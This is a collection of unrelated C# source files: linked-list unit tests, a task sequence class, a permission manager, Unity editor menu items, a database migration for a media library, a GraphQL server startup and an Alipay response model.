AddRemoveAdd_SameElement() { FakeElement element = new FakeElement(); intrusiveList.AddElement(element); Assert.Equal(1, intrusiveList.Count); intrusiveList.RemoveElement(element); Assert.Equal(0, intrusiveList.Count); intrusiveList.AddElement(element); Assert.Equal(1, intrusiveList.Count); } [Fact] public void addAndRemoveElements() { FakeElement element1 = new FakeElement(); FakeElement element2 = new FakeElement(); FakeElement element3 = new FakeElement(); intrusiveList.AddElement(element1); intrusiveList.AddElement(element2); intrusiveList.AddElement(element3); Assert.Equal(3, intrusiveList.Count); var copy = intrusiveList.Copy(); Assert.Equal(element3, copy[0]); Assert.Equal(element2, copy[1]); Assert.Equal(element1, copy[2]); // Remove element from the middle of the list. intrusiveList.RemoveElement(element2); Assert.Equal(2, intrusiveList.Count); copy = intrusiveList.Copy(); Assert.Equal(element3, copy[0]); Assert.Equal(element1, copy[1]); // Remove element from the tail of the list. intrusiveList.RemoveElement(element1); Assert.Equal(1, intrusiveList.Count); copy = intrusiveList.Copy(); Assert.Equal(element3, copy[0]); intrusiveList.AddElement(element1); Assert.Equal(2, intrusiveList.Count); copy = intrusiveList.Copy(); Assert.Equal(element1, copy[0]); Assert.Equal(element3, copy[1]); // Remove element from the head of the list when there are other elements after. intrusiveList.RemoveElement(element1); Assert.Equal(1, intrusiveList.Count); copy = intrusiveList.Copy(); Assert.Equal(element3, copy[0]); // Remove element from the head of the list when no more other elements in the list. intrusiveList.RemoveElement(element3); Assert.Equal(0, intrusiveList.Count); Assert.Empty(intrusiveList.Copy()); } [Fact] public void AddAlreadyAddedElement() { FakeElement element = new FakeElement(); intrusiveList.AddElement(element); Assert.Throws<ArgumentOutOfRangeException>(() => intrusiveList.AddElement(element)); } [Fact] public void removeNotAddedElement() { FakeElement element = new FakeElement(); Assert.Throws<ArgumentOutOfRangeException>(() => intrusiveList.RemoveElement(element)); } private sealed class FakeElement : IElement<FakeElement> { public FakeElement Next { get; set; } public FakeElement Previous { get; set; } } } }
 using System; using System.Collections.Generic; using System.Linq; using System.Threading.Tasks; namespace Sunctum.Domain.Logic.Async { public class AsyncTaskSequence : IDisposable { private List<Task> _Tasks; public IEnumerable<Task> Tasks { get { return _Tasks; } set { _Tasks = new List<Task>(value); } } public int Count { get { return Tasks.Count(); } } public AsyncTaskSequence() { Tasks = new List<Task>(); } public AsyncTaskSequence(IEnumerable<Task> tasks) { Tasks = tasks; } public void Add(Task task) { _Tasks.Add(task); } public void Add(Action action) { _Tasks.Add(new Task(action)); } public void AddRange(IEnumerable<Task> tasks) { _Tasks.AddRange(tasks); } public void RemoveAt(int index) { _Tasks.RemoveAt(index); } public void Clear() { _Tasks.Clear(); } #region IDisposable Support private bool _disposedValue = false; protected virtual void Dispose(bool disposing) { if (!_disposedValue) { if (disposing) { _Tasks.Clear(); } _Tasks = null; _disposedValue = true; } } public void Dispose() { // Do not change this code. Put cleanup code in Dispose(bool disposing) above. Dispose(true); } #endregion } }
using System; using System.Collections.Generic; using System.Configuration; using System.Diagnostics.Contracts; using System.Linq; using System.Linq.Expressions; using System.Security.Principal; using Revenj.Extensibility; namespace Revenj.Security { internal class PermissionManager : IPermissionManager, IDisposable { private readonly IObjectFactory ObjectFactory; private static bool DefaultPermissions; static PermissionManager() { var dp = ConfigurationManager.AppSettings["Permissions.OpenByDefault"]; DefaultPermissions = string.IsNullOrEmpty(dp) ? true : bool.Parse(dp); } private bool PermissionsChanged = true; private Dictionary<string, bool> GlobalPermissions; private Dictionary<string, List<Pair>> RolePermissions; private readonly Dictionary<Type, List<Filter>> RegisteredFilters = new Dictionary<Type, List<Filter>>(); private Dictionary<string, bool> Cache = new Dictionary<string, bool>(); private readonly IDisposable GlobalSubscription; private readonly IDisposable RoleSubscription; private class Filter { public object Expression; public object Predicate; public string Role; public bool Inverse; } private class Pair { public string Name; public bool IsAllowed; } public PermissionManager( IObjectFactory objectFactory, IObservable<Lazy<IGlobalPermission>> globalChanges, IObservable<Lazy<IRolePermission>> roleChanges) { Contract.Requires(objectFactory != null); Contract.Requires(globalChanges != null); Contract.Requires(roleChanges != null); this.ObjectFactory = objectFactory; GlobalSubscription = globalChanges.Subscribe(_ => PermissionsChanged = true); RoleSubscription = roleChanges.Subscribe(_ => PermissionsChanged = true); } private void CheckPermissions() { if (!PermissionsChanged) return; using (var scope = ObjectFactory.CreateInnerFactory()) { var globals = scope.Resolve<IQueryable<IGlobalPermission>>(); var roles = scope.Resolve<IQueryable<IRolePermission>>(); GlobalPermissions = globals.ToList() .ToDictionary(it => it.Name, it => it.IsAllowed); RolePermissions = (from dop in roles.ToList() group dop by dop.Name into g let values = g.Select(it => new Pair { Name = it.RoleID, IsAllowed = it.IsAllowed }) select new { g.Key, values }) .ToDictionary(it => it.Key, it => it.values.ToList()); } Cache = new Dictionary<string, bool>(); PermissionsChanged = false; } private bool CheckOpen(string[] parts, int len) { if (len < 0) return DefaultPermissions; bool isOpen; if (GlobalPermissions.TryGetValue(string.Join(".", parts.Take(len)), out isOpen)) return isOpen; return CheckOpen(parts, len - 1); } public bool CanAccess(string identifier, IPrincipal user) { CheckPermissions(); bool isAllowed; var target = identifier ?? string.Empty; var id = user != null ? user.Identity.Name + ":" + target : target; if (Cache.TryGetValue(id, out isAllowed)) return isAllowed; var parts = target.Split('.'); isAllowed = CheckOpen(parts, parts.Length); if (user != null) { List<Pair> permissions; for (int i = parts.Length; i >= 0; i--) { var subName = string.Join(".", parts.Take(i)); if (RolePermissions.TryGetValue(subName, out permissions)) { var found = permissions.Find(it => user.Identity.Name == it.Name) ?? permissions.Find(it => user.IsInRole(it.Name)); if (found != null) { isAllowed = found.IsAllowed; break; } } } } var newCache = new Dictionary<string, bool>(Cache); newCache[id] = isAllowed; Cache = newCache; return isAllowed; } public IQueryable<T> ApplyFilters<T>(IPrincipal user, IQueryable<T> data) { List<Filter> registered; if (RegisteredFilters.TryGetValue(typeof(T), out registered)) { var result = data; foreach (var r in registered) if (user.IsInRole(r.Role) != r.Inverse) result = result.Where((Expression<Func<T, bool>>)r.Expression); return result; } return data; } public T[] ApplyFilters<T>(IPrincipal user, T[] data) { List<Filter> registered; if (RegisteredFilters.TryGetValue(typeof(T), out registered)) { var result = new List<T>(data); foreach (var r in registered) if (user.IsInRole(r.Role) != r.Inverse) result = result.FindAll((Predicate<T>)r.Predicate); return result.ToArray(); } return data; } private class Unregister : IDisposable { private readonly Action Command; public Unregister(Action command) { this.Command = command; } public void Dispose() { Command(); } } public IDisposable RegisterFilter<T>(Expression<Func<T, bool>> filter, string role, bool inverse) { var target = typeof(T); List<Filter> registered; if (!RegisteredFilters.TryGetValue(target, out registered)) RegisteredFilters[target] = registered = new List<Filter>(); var func = filter.Compile(); Predicate<T> pred = arg => func(arg); var newFilter = new Filter { Expression = filter, Role = role, Inverse = inverse, Predicate = pred }; registered.Add(newFilter); return new Unregister(() => registered.Remove(newFilter)); } public void Dispose() { GlobalSubscription.Dispose(); RoleSubscription.Dispose(); } } }
//------------------------------------------------------------ // Game Framework // Copyright © 2013-2020 Jiang Yin. All rights reserved. // Homepage: https://gameframework.cn/ // Feedback: mailto:ellan@gameframework.cn //------------------------------------------------------------ using UnityEditor; namespace UnityGameFramework.Editor { /// <summary> /// 上下文相关的实用函数。 /// </summary> internal static class ContextMenu { [MenuItem("CONTEXT/BaseComponent/Help")] private static void ShowBaseComponentHelp(MenuCommand command) { Help.ShowDocumentation(); } [MenuItem("CONTEXT/ConfigComponent/Help")] private static void ShowConfigComponentHelp(MenuCommand command) { Help.ShowComponentHelp("config"); } [MenuItem("CONTEXT/DataNodeComponent/Help")] private static void ShowDataNodeComponentHelp(MenuCommand command) { Help.ShowComponentHelp("datanode"); } [MenuItem("CONTEXT/DataTableComponent/Help")] private static void ShowDataTableComponentHelp(MenuCommand command) { Help.ShowComponentHelp("datatable"); } [MenuItem("CONTEXT/DebuggerComponent/Help")] private static void ShowDebuggerComponentHelp(MenuCommand command) { Help.ShowComponentHelp("debugger"); } [MenuItem("CONTEXT/DownloadComponent/Help")] private static void ShowDownloadComponentHelp(MenuCommand command) { Help.ShowComponentHelp("download"); } [MenuItem("CONTEXT/EntityComponent/Help")] private static void ShowEntityComponentHelp(MenuCommand command) { Help.ShowComponentHelp("entity"); } [MenuItem("CONTEXT/EventComponent/Help")] private static void ShowEventComponentHelp(MenuCommand command) { Help.ShowComponentHelp("event"); } [MenuItem("CONTEXT/FsmComponent/Help")] private static void ShowFsmComponentHelp(MenuCommand command) { Help.ShowComponentHelp("fsm"); } [MenuItem("CONTEXT/LocalizationComponent/Help")] private static void ShowLocalizationComponentHelp(MenuCommand command) { Help.ShowComponentHelp("localization"); } [MenuItem("CONTEXT/NetworkComponent/Help")] private static void ShowNetworkComponentHelp(MenuCommand command) { Help.ShowComponentHelp("network"); } [MenuItem("CONTEXT/ObjectPoolComponent/Help")] private static void ShowObjectPoolComponentHelp(MenuCommand command) { Help.ShowComponentHelp("objectpool"); } [MenuItem("CONTEXT/ProcedureComponent/Help")] private static void ShowProcedureComponentHelp(MenuCommand command) { Help.ShowComponentHelp("procedure"); } [MenuItem("CONTEXT/ResourceComponent/Help")] private static void ShowResourceComponentHelp(MenuCommand command) { Help.ShowComponentHelp("resource"); } [MenuItem("CONTEXT/SceneComponent/Help")] private static void ShowSceneComponentHelp(MenuCommand command) { Help.ShowComponentHelp("scene"); } [MenuItem("CONTEXT/SettingComponent/Help")] private static void ShowSettingComponentHelp(MenuCommand command) { Help.ShowComponentHelp("setting"); } [MenuItem("CONTEXT/SoundComponent/Help")] private static void ShowSoundComponentHelp(MenuCommand command) { Help.ShowComponentHelp("sound"); } [MenuItem("CONTEXT/UIComponent/Help")] private static void ShowUIComponentHelp(MenuCommand command) { Help.ShowComponentHelp("ui"); } [MenuItem("CONTEXT/WebRequestComponent/Help")] private static void ShowWebRequestComponentHelp(MenuCommand command) { Help.ShowComponentHelp("webrequest"); } } }
using System; using Microsoft.EntityFrameworkCore.Migrations; namespace ErsatzTV.Infrastructure.Migrations { public partial class LibraryRework : Migration { protected override void Up(MigrationBuilder migrationBuilder) { // create local media source to attach all paths to migrationBuilder.Sql("INSERT INTO MediaSources (SourceType) Values (99)"); migrationBuilder.Sql("INSERT INTO LocalMediaSources (Id, MediaType) Values (last_insert_rowid(), 99)"); migrationBuilder.CreateTable( "Library", table => new { Id = table.Column<int>("INTEGER", nullable: false) .Annotation("Sqlite:Autoincrement", true), Name = table.Column<string>("TEXT", nullable: true), MediaKind = table.Column<int>("INTEGER", nullable: false), LastScan = table.Column<DateTimeOffset>("TEXT", nullable: true), MediaSourceId = table.Column<int>("INTEGER", nullable: false) }, constraints: table => { table.PrimaryKey("PK_Library", x => x.Id); table.ForeignKey( "FK_Library_MediaSources_MediaSourceId", x => x.MediaSourceId, "MediaSources", "Id", onDelete: ReferentialAction.Cascade); }); migrationBuilder.CreateTable( "LocalLibrary", table => new { Id = table.Column<int>("INTEGER", nullable: false) .Annotation("Sqlite:Autoincrement", true) }, constraints: table => { table.PrimaryKey("PK_LocalLibrary", x => x.Id); table.ForeignKey( "FK_LocalLibrary_Library_Id", x => x.Id, "Library", "Id", onDelete: ReferentialAction.Cascade); }); // create local movies library migrationBuilder.Sql( @"INSERT INTO Library (Name, MediaKind, MediaSourceId) SELECT 'Movies', 1, Id FROM LocalMediaSources WHERE MediaType = 99"); migrationBuilder.Sql("INSERT INTO LocalLibrary (Id) Values (last_insert_rowid())"); // create local shows library migrationBuilder.Sql( @"INSERT INTO Library (Name, MediaKind, MediaSourceId) SELECT 'Shows', 2, Id FROM LocalMediaSources WHERE MediaType = 99"); migrationBuilder.Sql("INSERT INTO LocalLibrary (Id) Values (last_insert_rowid())"); migrationBuilder.CreateTable( "LibraryPath", table => new { Id = table.Column<int>("INTEGER", nullable: false) .Annotation("Sqlite:Autoincrement", true), Path = table.Column<string>("TEXT", nullable: true), LibraryId = table.Column<int>("INTEGER", nullable: false) }, constraints: table => { table.PrimaryKey("PK_LibraryPath", x => x.Id); table.ForeignKey( "FK_LibraryPath_Library_LibraryId", x => x.LibraryId, "Library", "Id", onDelete: ReferentialAction.Cascade); }); // migrate movie source/folders to library paths migrationBuilder.Sql( @"INSERT INTO LibraryPath (Path, LibraryId) SELECT lms.Folder, l.Id FROM LocalMediaSources lms LEFT OUTER JOIN Library l ON l.MediaKind = 1 WHERE lms.MediaType = 2"); // migrate show source/folders to library paths migrationBuilder.Sql( @"INSERT INTO LibraryPath (Path, LibraryId) SELECT lms.Folder, l.Id FROM LocalMediaSources lms LEFT OUTER JOIN Library l ON l.MediaKind = 2 WHERE lms.MediaType = 1"); // migrate media item links migrationBuilder.AddColumn<int>( "LibraryPathId", "MediaItems", "INTEGER", nullable: false, defaultValue: 0); migrationBuilder.Sql( @"UPDATE MediaItems SET LibraryPathId = (SELECT l.Id FROM LibraryPath l INNER JOIN LocalMediaSources lms ON lms.Folder = l.Path WHERE lms.Id = MediaItems.MediaSourceId)"); migrationBuilder.DropColumn( "MediaSourceId", "MediaItems"); migrationBuilder.DropIndex( "IX_MediaItems_MediaSourceId", "MediaItems"); migrationBuilder.DropForeignKey( "FK_MediaItems_MediaSources_MediaSourceId", "MediaItems"); migrationBuilder.CreateIndex( "IX_MediaItems_LibraryPathId", "MediaItems", "LibraryPathId"); migrationBuilder.DropForeignKey( "FK_LocalMediaSources_MediaSources_Id", "LocalMediaSources"); migrationBuilder.DropForeignKey( "FK_PlexMediaSources_MediaSources_Id", "PlexMediaSources"); migrationBuilder.DropForeignKey( "FK_TelevisionShowSource_LocalMediaSources_MediaSourceId", "TelevisionShowSource"); migrationBuilder.DropTable( "PlexMediaSourceConnections"); migrationBuilder.DropTable( "PlexMediaSourceLibraries"); migrationBuilder.DropIndex( "IX_MediaSources_Name", "MediaSources"); migrationBuilder.DropPrimaryKey( "PK_PlexMediaSources", "PlexMediaSources"); migrationBuilder.DropPrimaryKey( "PK_LocalMediaSources", "LocalMediaSources"); migrationBuilder.DropColumn( "LastScan", "MediaSources"); migrationBuilder.DropColumn( "Name", "MediaSources"); migrationBuilder.DropColumn( "SourceType", "MediaSources"); migrationBuilder.DropColumn( "Folder", "LocalMediaSources"); migrationBuilder.DropColumn( "MediaType", "LocalMediaSources"); migrationBuilder.RenameTable( "PlexMediaSources", newName: "PlexMediaSource"); migrationBuilder.RenameTable( "LocalMediaSources", newName: "LocalMediaSource"); migrationBuilder.AddColumn<int>( "MovieId1", "MovieMetadata", "INTEGER", nullable: true); migrationBuilder.AddColumn<string>( "ServerName", "PlexMediaSource", "TEXT", nullable: true); migrationBuilder.AddPrimaryKey( "PK_PlexMediaSource", "PlexMediaSource", "Id"); migrationBuilder.AddPrimaryKey( "PK_LocalMediaSource", "LocalMediaSource", "Id"); migrationBuilder.CreateTable( "PlexConnection", table => new { Id = table.Column<int>("INTEGER", nullable: false) .Annotation("Sqlite:Autoincrement", true), IsActive = table.Column<bool>("INTEGER", nullable: false), Uri = table.Column<string>("TEXT", nullable: true), PlexMediaSourceId = table.Column<int>("INTEGER", nullable: false) }, constraints: table => { table.PrimaryKey("PK_PlexConnection", x => x.Id); table.ForeignKey( "FK_PlexConnection_PlexMediaSource_PlexMediaSourceId", x => x.PlexMediaSourceId, "PlexMediaSource", "Id", onDelete: ReferentialAction.Cascade); }); migrationBuilder.CreateTable( "PlexMediaItemPart", table => new { Id = table.Column<int>("INTEGER", nullable: false) .Annotation("Sqlite:Autoincrement", true), PlexId = table.Column<int>("INTEGER", nullable: false), Key = table.Column<string>("TEXT", nullable: true), Duration = table.Column<int>("INTEGER", nullable: false), File = table.Column<string>("TEXT", nullable: true), Size = table.Column<int>("INTEGER", nullable: false) }, constraints: table => { table.PrimaryKey("PK_PlexMediaItemPart", x => x.Id); }); migrationBuilder.CreateTable( "PlexLibrary", table => new { Id = table.Column<int>("INTEGER", nullable: false) .Annotation("Sqlite:Autoincrement", true), Key = table.Column<string>("TEXT", nullable: true), ShouldSyncItems = table.Column<bool>("INTEGER", nullable: false) }, constraints: table => { table.PrimaryKey("PK_PlexLibrary", x => x.Id); table.ForeignKey( "FK_PlexLibrary_Library_Id", x => x.Id, "Library", "Id", onDelete: ReferentialAction.Cascade); }); migrationBuilder.CreateTable( "PlexMovies", table => new { Id = table.Column<int>("INTEGER", nullable: false) .Annotation("Sqlite:Autoincrement", true), Key = table.Column<string>("TEXT", nullable: true), PartId = table.Column<int>("INTEGER", nullable: true) }, constraints: table => { table.PrimaryKey("PK_PlexMovies", x => x.Id); table.ForeignKey( "FK_PlexMovies_Movies_Id", x => x.Id, "Movies", "Id", onDelete: ReferentialAction.Cascade); table.ForeignKey( "FK_PlexMovies_PlexMediaItemPart_PartId", x => x.PartId, "PlexMediaItemPart", "Id", onDelete: ReferentialAction.Restrict); }); migrationBuilder.CreateIndex( "IX_MovieMetadata_MovieId1", "MovieMetadata", "MovieId1"); migrationBuilder.CreateIndex( "IX_Library_MediaSourceId", "Library", "MediaSourceId"); migrationBuilder.CreateIndex( "IX_LibraryPath_LibraryId", "LibraryPath", "LibraryId"); migrationBuilder.CreateIndex( "IX_PlexConnection_PlexMediaSourceId", "PlexConnection", "PlexMediaSourceId"); migrationBuilder.CreateIndex( "IX_PlexMovies_PartId", "PlexMovies", "PartId"); migrationBuilder.AddForeignKey( "FK_LocalMediaSource_MediaSources_Id", "LocalMediaSource", "Id", "MediaSources", principalColumn: "Id", onDelete: ReferentialAction.Cascade); migrationBuilder.AddForeignKey( "FK_MediaItems_LibraryPath_LibraryPathId", "MediaItems", "LibraryPathId", "LibraryPath", principalColumn: "Id", onDelete: ReferentialAction.Cascade); migrationBuilder.AddForeignKey( "FK_MovieMetadata_Movies_MovieId1", "MovieMetadata", "MovieId1", "Movies", principalColumn: "Id", onDelete: ReferentialAction.Restrict); migrationBuilder.AddForeignKey( "FK_PlexMediaSource_MediaSources_Id", "PlexMediaSource", "Id", "MediaSources", principalColumn: "Id", onDelete: ReferentialAction.Cascade); migrationBuilder.AddForeignKey( "FK_TelevisionShowSource_LocalMediaSource_MediaSourceId", "TelevisionShowSource", "MediaSourceId", "LocalMediaSource", principalColumn: "Id", onDelete: ReferentialAction.Cascade); } protected override void Down(MigrationBuilder migrationBuilder) { migrationBuilder.DropForeignKey( "FK_LocalMediaSource_MediaSources_Id", "LocalMediaSource"); migrationBuilder.DropForeignKey( "FK_MediaItems_LibraryPath_LibraryPathId", "MediaItems"); migrationBuilder.DropForeignKey( "FK_MovieMetadata_Movies_MovieId1", "MovieMetadata"); migrationBuilder.DropForeignKey( "FK_PlexMediaSource_MediaSources_Id", "PlexMediaSource"); migrationBuilder.DropForeignKey( "FK_TelevisionShowSource_LocalMediaSource_MediaSourceId", "TelevisionShowSource"); migrationBuilder.DropTable( "LibraryPath"); migrationBuilder.DropTable( "LocalLibrary"); migrationBuilder.DropTable( "PlexConnection"); migrationBuilder.DropTable( "PlexLibrary"); migrationBuilder.DropTable( "PlexMovies"); migrationBuilder.DropTable( "Library"); migrationBuilder.DropTable( "PlexMediaItemPart"); migrationBuilder.DropIndex( "IX_MovieMetadata_MovieId1", "MovieMetadata"); migrationBuilder.DropPrimaryKey( "PK_PlexMediaSource", "PlexMediaSource"); migrationBuilder.DropPrimaryKey( "PK_LocalMediaSource", "LocalMediaSource"); migrationBuilder.DropColumn( "MovieId1", "MovieMetadata"); migrationBuilder.DropColumn( "ServerName", "PlexMediaSource"); migrationBuilder.RenameTable( "PlexMediaSource", newName: "PlexMediaSources"); migrationBuilder.RenameTable( "LocalMediaSource", newName: "LocalMediaSources"); migrationBuilder.RenameColumn( "LibraryPathId", "MediaItems", "MediaSourceId"); migrationBuilder.RenameIndex( "IX_MediaItems_LibraryPathId", table: "MediaItems", newName: "IX_MediaItems_MediaSourceId"); migrationBuilder.AddColumn<DateTimeOffset>( "LastScan", "MediaSources", "TEXT", nullable: true); migrationBuilder.AddColumn<string>( "Name", "MediaSources", "TEXT", nullable: true); migrationBuilder.AddColumn<int>( "SourceType", "MediaSources", "INTEGER", nullable: false, defaultValue: 0); migrationBuilder.AddColumn<string>( "Folder", "LocalMediaSources", "TEXT", nullable: true); migrationBuilder.AddColumn<int>( "MediaType", "LocalMediaSources", "INTEGER", nullable: false, defaultValue: 0); migrationBuilder.AddPrimaryKey( "PK_PlexMediaSources", "PlexMediaSources", "Id"); migrationBuilder.AddPrimaryKey( "PK_LocalMediaSources", "LocalMediaSources", "Id"); migrationBuilder.CreateTable( "PlexMediaSourceConnections", table => new { Id = table.Column<int>("INTEGER", nullable: false) .Annotation("Sqlite:Autoincrement", true), IsActive = table.Column<bool>("INTEGER", nullable: false), PlexMediaSourceId = table.Column<int>("INTEGER", nullable: true), Uri = table.Column<string>("TEXT", nullable: true) }, constraints: table => { table.PrimaryKey("PK_PlexMediaSourceConnections", x => x.Id); table.ForeignKey( "FK_PlexMediaSourceConnections_PlexMediaSources_PlexMediaSourceId", x => x.PlexMediaSourceId, "PlexMediaSources", "Id", onDelete: ReferentialAction.Restrict); }); migrationBuilder.CreateTable( "PlexMediaSourceLibraries", table => new { Id = table.Column<int>("INTEGER", nullable: false) .Annotation("Sqlite:Autoincrement", true), Key = table.Column<string>("TEXT", nullable: true), MediaType = table.Column<int>("INTEGER", nullable: false), Name = table.Column<string>("TEXT", nullable: true), PlexMediaSourceId = table.Column<int>("INTEGER", nullable: true) }, constraints: table => { table.PrimaryKey("PK_PlexMediaSourceLibraries", x => x.Id); table.ForeignKey( "FK_PlexMediaSourceLibraries_PlexMediaSources_PlexMediaSourceId", x => x.PlexMediaSourceId, "PlexMediaSources", "Id", onDelete: ReferentialAction.Restrict); }); migrationBuilder.CreateIndex( "IX_MediaSources_Name", "MediaSources", "Name", unique: true); migrationBuilder.CreateIndex( "IX_PlexMediaSourceConnections_PlexMediaSourceId", "PlexMediaSourceConnections", "PlexMediaSourceId"); migrationBuilder.CreateIndex( "IX_PlexMediaSourceLibraries_PlexMediaSourceId", "PlexMediaSourceLibraries", "PlexMediaSourceId"); migrationBuilder.AddForeignKey( "FK_LocalMediaSources_MediaSources_Id", "LocalMediaSources", "Id", "MediaSources", principalColumn: "Id", onDelete: ReferentialAction.Cascade); migrationBuilder.AddForeignKey( "FK_MediaItems_MediaSources_MediaSourceId", "MediaItems", "MediaSourceId", "MediaSources", principalColumn: "Id", onDelete: ReferentialAction.Cascade); migrationBuilder.AddForeignKey( "FK_PlexMediaSources_MediaSources_Id", "PlexMediaSources", "Id", "MediaSources", principalColumn: "Id", onDelete: ReferentialAction.Cascade); migrationBuilder.AddForeignKey( "FK_TelevisionShowSource_LocalMediaSources_MediaSourceId", "TelevisionShowSource", "MediaSourceId", "LocalMediaSources", principalColumn: "Id", onDelete: ReferentialAction.Cascade); } } }
using System; using System.Linq.Expressions; using System.Reflection; namespace DevZest.Data.Primitives { internal abstract class ColumnInvoker<T> where T : Column { private Func<T, T> _func; protected ColumnInvoker(MethodInfo methodInfo, bool byPassNullable = false) { methodInfo.VerifyNotNull(nameof(methodInfo)); BuildFunc(methodInfo, typeof(T).ResolveColumnDataType(byPassNullable)); } private void BuildFunc(MethodInfo methodInfo, Type resolvedType) { methodInfo = methodInfo.MakeGenericMethod(typeof(T), resolvedType); var param = Expression.Parameter(typeof(T), methodInfo.GetParameters()[0].Name); var call = Expression.Call(methodInfo, param); _func = Expression.Lambda<Func<T, T>>(call, param).Compile(); } public T Invoke(T arg) { return _func(arg); } } }
using System; using System.IO; using System.Linq; using System.Threading.Tasks; using BookStore.SampleData; using Microsoft.AspNetCore.Builder; using Microsoft.AspNetCore.Hosting; using Microsoft.AspNetCore.Http; using Microsoft.AspNetCore.Mvc.ApplicationParts; using Microsoft.Extensions.Configuration; using Microsoft.Extensions.DependencyInjection; using Microsoft.Extensions.Hosting; using NGraphQL.Server; using NGraphQL.Server.AspNetCore; using Vita.Data; using Vita.Data.MsSql; using Vita.Entities; using Vita.Entities.DbInfo; using Vita.Tools; using Vita.Web; namespace BookStore.GraphQL { public class GraphQLAspNetServerStartup { public IConfiguration Configuration { get; } public static GraphQLHttpServer GraphQLHttpServerInstance; public static bool StartGrpaphiql = true; // test project sets this to false public string LogFilePath = "bin\\_serverSqlLog.log"; public static bool RebuildSampleData = true; public GraphQLAspNetServerStartup(IConfiguration configuration) { Configuration = configuration; } // This method gets called by the runtime. Use this method to add services to the container. public void ConfigureServices(IServiceCollection services) { // create books app connected to database; CreateBooksEntityApp(); var jwtSecret = "VitaBooksJwtSecret"; // Note: this cannot be too short, at least 16 chars var jwtTokenHandler = new VitaJwtTokenHandler(BooksEntityApp.Instance, services, jwtSecret); services.Add(new ServiceDescriptor(typeof(IAuthenticationTokenHandler), jwtTokenHandler)); services.AddControllers() // Note: by default System.Text.Json ns/serializer is used by AspNetCore 3.1; this serializer is no good - // - does not serialize fields, does not handle dictionaries, etc. So we put back Newtonsoft serializer. .AddNewtonsoftJson() // If your REST controllers reside in separate assembly, specify the assembly explicitly like that to make sure // ASP.NET router finds these controllers //.PartManager.ApplicationParts.Add(new AssemblyPart(typeof(MyRestController).Assembly)); ; } // This method gets called by the runtime. Use this method to configure the HTTP request pipeline. public void Configure(IApplicationBuilder app, IWebHostEnvironment env) { if (env.IsDevelopment()) { app.UseDeveloperExceptionPage(); } // Add Vita middleware app.UseMiddleware<VitaWebMiddleware>(BooksEntityApp.Instance); app.UseHttpsRedirection(); app.UseRouting(); app.UseAuthentication(); // create GraphQL Http server and configure GraphQL endpoints var bookStoreServer = new BookStoreGraphQLServer(BooksEntityApp.Instance); GraphQLHttpServerInstance = new GraphQLHttpServer(bookStoreServer); app.UseEndpoints(endpoints => { endpoints.MapPost("graphql", HandleRequest); endpoints.MapGet("graphql", HandleRequest); endpoints.MapGet("graphql/schema", HandleRequest); endpoints.MapControllers(); //for RESTful endpoints }); // Use GraphiQL UI if (StartGrpaphiql) app.UseGraphQLGraphiQL(); } private Task HandleRequest(HttpContext context) { return GraphQLHttpServerInstance.HandleGraphQLHttpRequestAsync(context); } private BooksEntityApp CreateBooksEntityApp() { var connStr = Configuration["MsSqlConnectionString"]; if (BooksEntityApp.Instance != null) return BooksEntityApp.Instance; if (File.Exists(LogFilePath)) File.Delete(LogFilePath); var booksApp = new BooksEntityApp(); booksApp.LogPath = LogFilePath; booksApp.Init(); //connect to db var driver = new MsSqlDbDriver(); var dbOptions = driver.GetDefaultOptions(); var dbSettings = new DbSettings(driver, dbOptions, connStr, upgradeMode: DbUpgradeMode.Always); booksApp.ConnectTo(dbSettings); if (RebuildSampleData || DbIsEmpty()) ReCreateSampleData(); return booksApp; } private static bool DbIsEmpty() { var session = BooksEntityApp.Instance.OpenSession(); var pubCount = session.EntitySet<IPublisher>().Count(); return pubCount == 0; } private static void ReCreateSampleData() { DataUtility.DeleteAllData(BooksEntityApp.Instance, exceptEntities: new Type[] { typeof(IDbInfo), typeof(IDbModuleInfo) }); SampleDataGenerator.CreateUnitTestData(BooksEntityApp.Instance); } } }
using System; using System.Xml.Serialization; using Aop.Api.Domain; namespace Aop.Api.Response { /// <summary> /// AlipayTradePrecreateConfirmResponse. /// </summary> public class AlipayTradePrecreateConfirmResponse : AopResponse { /// <summary> /// 收单模式 银行代理收单,取值:bankAgentMode 平台直连收单,取值: normalOrderMode /// </summary> [XmlElement("acquiring_mode")] public string AcquiringMode { get; set; } /// <summary> /// 间联商户信息,若商户是间联商户则必选 格式为json /// </summary> [XmlElement("indirect_merchant_info")] public TradePrecreateConfirmIndirectMerchantInfo IndirectMerchantInfo { get; set; } /// <summary> /// 直连商户信息,当商户为直连商户会有非空的值 格式为json /// </summary> [XmlElement("merchant_info")] public TradePrecreateConfirmTradeMerchantInfo MerchantInfo { get; set; } /// <summary> /// 商户原始订单号 /// </summary> [XmlElement("merchant_order_no")] public string MerchantOrderNo { get; set; } /// <summary> /// 订单创建时间 /// </summary> [XmlElement("order_create_time")] public string OrderCreateTime { get; set; } /// <summary> /// 订单信息 格式为json /// </summary> [XmlElement("order_info")] public TradePrecreateConfirmOrderInfo OrderInfo { get; set; } /// <summary> /// 商户订单号 /// </summary> [XmlElement("out_trade_no")] public string OutTradeNo { get; set; } /// <summary> /// 商户ID /// </summary> [XmlElement("partner_id")] public string PartnerId { get; set; } /// <summary> /// 预下单的码信息 格式为json /// </summary> [XmlElement("precreate_code_info")] public TradePrecreateConfirmPrecreateCodeInfo PrecreateCodeInfo { get; set; } /// <summary> /// 清算机构流水号(如网联流水号) /// </summary> [XmlElement("settle_serial_no")] public string SettleSerialNo { get; set; } /// <summary> /// 店铺信息 格式为json /// </summary> [XmlElement("store_info")] public TradePrecreateConfirmTradeStoreInfo StoreInfo { get; set; } /// <summary> /// 订单金额 币种:人民币 单位:元 /// </summary> [XmlElement("total_amount")] public string TotalAmount { get; set; } /// <summary> /// 支付宝交易号 /// </summary> [XmlElement("trade_no")] public string TradeNo { get; set; } } }
